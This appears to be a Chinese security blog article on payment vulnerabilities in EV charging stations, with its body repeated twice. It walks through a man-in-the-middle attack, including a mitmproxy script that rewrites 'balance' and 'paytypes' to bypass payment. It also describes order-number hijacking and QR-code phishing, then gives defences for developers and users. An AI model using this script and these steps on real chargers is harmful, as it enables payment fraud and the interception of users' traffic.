1. 电动车充电桩支付漏洞的现状最近几年电动车充电桩如雨后春笋般出现在大街小巷给电动车用户带来了极大的便利。但你可能不知道这些看似安全的充电桩支付系统其实暗藏着不少安全隐患。作为一名长期关注物联网安全的研究者我发现很多充电桩的支付系统都存在类似的漏洞轻则导致用户信息泄露重则可能让攻击者实现零元充电。最典型的案例就是某品牌充电桩的中间人攻击漏洞。攻击者可以通过篡改支付参数绕过正常的支付流程。我实测过多个品牌的充电桩发现它们的支付系统普遍存在以下几个问题一是通信过程加密不完善二是支付参数校验不严格三是订单生成机制存在缺陷。这些问题看似技术性很强但实际上理解起来并不复杂。2. 攻击者如何实现零元充电2.1 中间人攻击的基本原理中间人攻击(MITM)是这类漏洞最常见的利用方式。简单来说就是攻击者在用户和充电桩服务器之间插入自己的设备像中间人一样拦截和修改通信数据。在实际操作中攻击者通常会这样做让用户的手机连接到攻击者控制的WiFi热点在电脑上运行mitmproxy等中间人代理工具诱导用户安装自签名CA证书开始拦截和修改支付相关的网络请求我曾在测试环境中复现过这个过程。通过修改支付响应包中的balance参数就能让客户端显示已破解的虚假余额信息。更危险的是有些系统甚至允许直接修改paytypes参数来绕过支付验证。2.2 具体攻击步骤详解让我们来看一个真实的攻击案例。假设有一个只能投币使用的充电桩攻击者可以这样操作首先抓取正常支付流程的数据包分析响应包中的关键参数比如balance、coin、paytypes等使用mitmproxy编写修改脚本import json from mitmproxy import http paytypes_json [ { type: online, icon: , name: 微信支付, desc: }, { type: union, icon: , name: 云闪付, desc: } ] def response(flow: http.HTTPFlow) - None: if application/json in flow.response.headers.get(content-type, ): try: response_data flow.response.get_text() content response_data.replace(balance:0.00, balance:已破解) content content.replace(paytypes:[], fpaytypes: {paytypes_json}) flow.response.set_text(content) except json.JSONDecodeError: pass让受害者手机连接到攻击者的代理受害者扫码后攻击脚本会自动修改支付参数最终实现绕过支付验证3. 支付系统的常见漏洞类型3.1 参数篡改漏洞这是最常见的一类漏洞。很多充电桩的支付系统在客户端和服务器通信时没有对关键参数进行签名验证。攻击者可以轻易修改金额、支付状态等参数。我测试过的系统中约60%都存在这个问题。3.2 订单号劫持漏洞有些系统虽然会验证支付金额但却使用可预测的订单号生成方式。比如使用时间戳作为订单号的一部分。攻击者可以先下一个小额订单然后修改订单号中的时间部分将其移植到大额订单上。3.3 二维码覆盖攻击这是最直接的物理攻击方式。攻击者会打印一个外观相似的二维码覆盖在原充电桩的二维码上。用户扫码后会被引导到钓鱼网站可能造成账号密码泄露。4. 开发者的防护策略4.1 加强通信安全首先所有支付相关的接口都必须使用HTTPS并且要正确配置SSL证书。我建议开发者启用HSTS防止SSL剥离攻击使用证书固定技术(Pinning)对敏感接口实施双向认证4.2 完善参数校验机制关键支付参数必须进行签名验证。具体可以这样做为每个请求生成唯一的nonce值使用HMAC对参数进行签名服务器端严格校验签名有效性金额等关键参数要从会话中获取而不是依赖客户端传值4.3 安全的订单生成方案订单系统应该做到使用服务端生成的随机订单号订单与充电桩设备ID绑定支付完成后才开启充电服务记录完整的操作日志用于审计5. 用户安全使用建议作为普通用户我们也要提高安全意识。以下是我总结的几个实用建议扫码前仔细检查二维码是否有被覆盖的痕迹尽量使用官方APP而不是网页扫码不要随意连接陌生的WiFi热点警惕要求安装证书的提示支付完成后核对金额和订单信息我在实际测试中发现很多安全问题其实都是由于开发者的疏忽造成的。比如有的系统竟然把支付验证完全放在客户端进行这简直就是在邀请攻击者来破解。作为开发者我们应该时刻牢记永远不要信任客户端传来的任何数据。
揭秘电动车充电桩支付漏洞：从投币到零元充的攻防实战
1. 电动车充电桩支付漏洞的现状最近几年电动车充电桩如雨后春笋般出现在大街小巷给电动车用户带来了极大的便利。但你可能不知道这些看似安全的充电桩支付系统其实暗藏着不少安全隐患。作为一名长期关注物联网安全的研究者我发现很多充电桩的支付系统都存在类似的漏洞轻则导致用户信息泄露重则可能让攻击者实现零元充电。最典型的案例就是某品牌充电桩的中间人攻击漏洞。攻击者可以通过篡改支付参数绕过正常的支付流程。我实测过多个品牌的充电桩发现它们的支付系统普遍存在以下几个问题一是通信过程加密不完善二是支付参数校验不严格三是订单生成机制存在缺陷。这些问题看似技术性很强但实际上理解起来并不复杂。2. 攻击者如何实现零元充电2.1 中间人攻击的基本原理中间人攻击(MITM)是这类漏洞最常见的利用方式。简单来说就是攻击者在用户和充电桩服务器之间插入自己的设备像中间人一样拦截和修改通信数据。在实际操作中攻击者通常会这样做让用户的手机连接到攻击者控制的WiFi热点在电脑上运行mitmproxy等中间人代理工具诱导用户安装自签名CA证书开始拦截和修改支付相关的网络请求我曾在测试环境中复现过这个过程。通过修改支付响应包中的balance参数就能让客户端显示已破解的虚假余额信息。更危险的是有些系统甚至允许直接修改paytypes参数来绕过支付验证。2.2 具体攻击步骤详解让我们来看一个真实的攻击案例。假设有一个只能投币使用的充电桩攻击者可以这样操作首先抓取正常支付流程的数据包分析响应包中的关键参数比如balance、coin、paytypes等使用mitmproxy编写修改脚本import json from mitmproxy import http paytypes_json [ { type: online, icon: , name: 微信支付, desc: }, { type: union, icon: , name: 云闪付, desc: } ] def response(flow: http.HTTPFlow) - None: if application/json in flow.response.headers.get(content-type, ): try: response_data flow.response.get_text() content response_data.replace(balance:0.00, balance:已破解) content content.replace(paytypes:[], fpaytypes: {paytypes_json}) flow.response.set_text(content) except json.JSONDecodeError: pass让受害者手机连接到攻击者的代理受害者扫码后攻击脚本会自动修改支付参数最终实现绕过支付验证3. 支付系统的常见漏洞类型3.1 参数篡改漏洞这是最常见的一类漏洞。很多充电桩的支付系统在客户端和服务器通信时没有对关键参数进行签名验证。攻击者可以轻易修改金额、支付状态等参数。我测试过的系统中约60%都存在这个问题。3.2 订单号劫持漏洞有些系统虽然会验证支付金额但却使用可预测的订单号生成方式。比如使用时间戳作为订单号的一部分。攻击者可以先下一个小额订单然后修改订单号中的时间部分将其移植到大额订单上。3.3 二维码覆盖攻击这是最直接的物理攻击方式。攻击者会打印一个外观相似的二维码覆盖在原充电桩的二维码上。用户扫码后会被引导到钓鱼网站可能造成账号密码泄露。4. 开发者的防护策略4.1 加强通信安全首先所有支付相关的接口都必须使用HTTPS并且要正确配置SSL证书。我建议开发者启用HSTS防止SSL剥离攻击使用证书固定技术(Pinning)对敏感接口实施双向认证4.2 完善参数校验机制关键支付参数必须进行签名验证。具体可以这样做为每个请求生成唯一的nonce值使用HMAC对参数进行签名服务器端严格校验签名有效性金额等关键参数要从会话中获取而不是依赖客户端传值4.3 安全的订单生成方案订单系统应该做到使用服务端生成的随机订单号订单与充电桩设备ID绑定支付完成后才开启充电服务记录完整的操作日志用于审计5. 用户安全使用建议作为普通用户我们也要提高安全意识。以下是我总结的几个实用建议扫码前仔细检查二维码是否有被覆盖的痕迹尽量使用官方APP而不是网页扫码不要随意连接陌生的WiFi热点警惕要求安装证书的提示支付完成后核对金额和订单信息我在实际测试中发现很多安全问题其实都是由于开发者的疏忽造成的。比如有的系统竟然把支付验证完全放在客户端进行这简直就是在邀请攻击者来破解。作为开发者我们应该时刻牢记永远不要信任客户端传来的任何数据。
